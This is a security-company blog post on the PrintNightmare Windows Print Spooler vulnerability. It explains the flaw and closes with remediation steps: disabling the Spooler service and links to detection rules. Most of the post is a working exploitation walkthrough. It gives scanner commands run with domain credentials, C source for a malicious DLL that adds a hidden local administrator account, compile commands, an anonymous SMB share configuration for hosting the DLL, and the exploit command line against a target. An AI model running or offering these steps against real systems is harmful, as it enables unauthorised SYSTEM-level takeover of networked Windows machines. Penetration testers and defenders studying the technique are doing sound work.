Hey, you love printers right? They’re that reliable, steadfast piece of technology that always seems to work and never gives you any headaches ... right? Well, buckle up.

Microsoft is releasing emergency security patches to address a critical privilege escalation and remote code execution vulnerability found within the Print Spooler service.

In this brief article, we’ll take a look at how you can identify whether your systems are vulnerable. Then we’ll show you how we escalate privileges, gain remote code execution, and finally show you ways to (hopefully) prevent this mess.

Understand How it Works

At its heart, this vulnerability centers around the fact that any low-level user can import and add print drivers. These print drivers come in the form of dynamic-link library (DLL) files. When a user wants to add a print driver, Windows will happily oblige in loading these DLL files. regardless of a user’s permissions on a vulnerable system. That’s a problem.

These DLLs can take a malicious form for attackers. For instance, attackers have the ability to add Administrative users or execute reverse shells to attacker-controlled machines.

Since printing and its underlying components (particularly the spooler) need to interact with various pieces of software, privileges, and hardware, the service containing this “print driver” is run with SYSTEM level privileges. Yes. System. Level. Privileges.

So with this vulnerability we have the ability to load arbitrary DLL’s through improperly enforced file operations plus SYSTEM level privilege. That = $youseewherethisisgoin

By the way, the current patching and fix recommendations are in a frenzy right now. Here’s a handy flowchart to help you assess where you fit into all this. A fairly high number of variables determine whether a machine is vulnerable or not, so be mindful that all of this is likely to change over the coming days and weeks.


Source: Twitter - https://mobile.twitter.com/wdormann/status/1412906574998392840/photo/1

Let’s clear up the difference between the two CVEs attached to #PrintNightmare. They’re similar but distinct:

  • CVE-2021-1675 - Original CVE designation. This was an LPE (local privilege escalation) vulnerability addressed by the security update issued by Microsoft on June 8, 2021. Don’t use this CVE to track #PrintNightmare. Credits: Zhipeng Huo of Tencent Security, Piotr Madej of Afine, and Yunhai Zhang of Nsfocus.

  • CVE-2021-34527 - Official designation of #PrintNightmare. During analysis of the original CVE, Zhiniang Peng and Xuefeng Li from Sangfor discovered another RCE and LPE. Use this CVE to track #PrintNightmare.

For some quick background:

Prepping Our Environment

We’ll first take a look at getting setup to scan for vulnerable machines. Once we have our target list, we’ll walk through it using a hand-crafted, artisanal DLL and existing tooling to exploit #PrintNightmare.

Exploitation

Roughly speaking, all of the publically available exploits work in the following way:

  1. Connect to the target over RPC
  2. Enumerate printer drivers
  3. Build a new printer driver (our DLL)
  4. Add the new printer driver (our DLL)

What you'll need:

  • Low-level domain user account
  • Credentials for the domain user account
  • Optional: DLL to perform your magic

We have a couple tools at our disposal to check if systems are vulnerable to this exploit. The first and probably best tool out there is "ItWasAllADream" from byt3bl33d3r:

byt3bl33d3r/ItWasAllADream
A CVE-2021-34527 (a.k.a PrintNightmare) Python Scanner. Allows you to scan entire subnets for the PrintNightmare RCE (not the LPE) and generates a CSV report with the results. Tests exploitability over MS-PAR and MS-RPRN.

https://github.com/byt3bl33d3r/ItWasAllADream

This tool will scan an entire subnet for hosts susceptible to the #PrintNightmare exploit. To download and build the Docker container for this tool, copy and paste the following into your preferred terminal emulator:

git clone https://github.com/byt3bl33d3r/ItWasAllADream && \
cd ItWasAllADream && \
docker build -t itwasalladream .

To execute the Docker container, first determine a subnet you want to scan for vulnerable hosts. Once you’ve done that, execute the following command to start the scan:

docker run -it itwasalladream -v /tmp:/-u jsmith -p Password1 -d acme.com \
192.168.1.0/24

Once you have identified vulnerable systems, you need to build a malicious DLL to get you access to the target host. Copy the code below to your host:

#include <stdio.h>

#include <windows.h>

#ifdef BUILD_DLL
#define DLL_EXPORT __declspec(dllexport)
#else
#define DLL_EXPORT __declspec(dllimport)
#endif
BOOL running = FALSE;
void DLL_EXPORT initCallback() {
  if (!running) {
    system("cmd.exe /c net user printnightmare G3AxpnEeezZnaL /add");
    system("cmd.exe /c net localgroup administrators printnightmare /add");
    running = TRUE;
  }
}
extern "C"
DLL_EXPORT BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
  switch (fdwReason) {
  case DLL_PROCESS_ATTACH:
    initCallback();
    break;
  case DLL_PROCESS_DETACH:
    initCallback();
    break;
  case DLL_THREAD_ATTACH:
    initCallback();
    break;
  case DLL_THREAD_DETACH:
    initCallback();
    break;
  }
  return TRUE;
}

You then will need to compile this DLL with mingw on Linux, Mac OS or Windows. We’re working from Mac OS. The command you‘ll use should look like this:

x86_64-w64-mingw32-g++ -Wall -DBUILD_DLL -c adduser.cpp -o adduser.o && \ x86_64-w64-mingw32-g++ -shared -Wl,--dll adduser.o -o adduser.dll

This will fully compile a 64-bit DLL that should work to add a local administrator to the target host with the username printnightmare. This user will be added as a local administrator and provide you with remote access to the target using any tooling you prefer.

To actually exploit this, we need another set of tools from cube0x0. Execute the following commands to clone and set up the environment needed to run the exploit script:

git clone https://github.com/cube0x0/impacket && \
cd impacket && \
pipenv --python 3 shell

pip3 install -r requirements.txt && python3 setup.py install && \
git clone https://github.com/cube0x0/CVE-2021-1675 && \
cd CVE-2021-1675

We need to host our DLL on an anonymous SMB share for this exploit to work using this attack methodology. Create a directory wherever you'd like to host the DLL. I chose to do it under the /tmp directory:

mkdir /tmp/share

Then we need to setup SAMBA to allow anonymous access and share our new DLL. Your SAMBA configuration file should look something like this:

[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445

[smb]
comment = Samba
path = /tmp/share
guest ok = yes
read only = no
browsable = yes
force user = smbuser

Copy your DLL into the directory we created and start the SAMBA service:

systemctl start smbd.service

We can now carry out the final exploit. In the previously setup Python environment for CVE-2021-1675 / CVE-2021-34527, execute the following command, replacing the needed command line options with the variables applicable to your target environment:

./CVE-2021-1675.py acme.com/jsmith:Password@192.168.1.10 '\\192.168.1.215\smb\adduser.dll'

Following execution, you should now be able to run crackmapexec or any of your other favorite tools to check for local administrator access on the remote system:

#PrintNightmare https://assets.sprocketsecurity.com/Untitled.png

Exercises left for you:

The above code and information found in this blog should be enough to get you started for further exploration.

Detection And Remediation

As noted, this is a rapidly evolving situation. Lots of folks are working hard to keep their organizations and customers safe. With that being said, here are some resources to get you started on detecting and remediating #PrintNightmare.

Disable The Spooler Service

You cannot go wrong by simply disabling the print spooler service on machines that do not require it. This can be accomplished a number of different ways. Here's an implementation using a PowerShell (as Administrator):

First, stop the spooler service

Stop-Service -Name Spooler -Force

And then make sure it stays off by disabling automatic startup

Set-Service -Name Spooler -StartupType Disabled

Disable with GPO

You can also disable the spooler service with GPO. With your Local Group Policy Editor (gpedit.msc) open, browse to Computer Configuration -> Administrative Templates -> Printers and the find the policy titled Allow Print Spooler to accept client connections. Select "Disabled" from the left-hand side, click Apply, and then OK. Done!

Additonal Resources

Lares Lab: Detection & Remediation For #PrintNightmare:
https://github.com/LaresLLC/CVE-2021-1675

PowerShell One-Line To Highlight Exploitation Attempts:
https://twitter.com/cyb3rops/status/1410223408810545155

Sigma (SIEM) Rules To Detect Exploitation Attempts:
https://github.com/SigmaHQ/sigma/pull/1588/files

Kernel Micropatches for PrintNightmare - https://blog.0patch.com/2021/07/free-micropatches-for-printnightmare.html

We’re here, first and foremost, to help you find the right solution for your network security testing needs. That means when you request a quote, we deliver what you ask for – all without marketing nonsense, over-aggressive salespeople or annoying spam emails.

Credits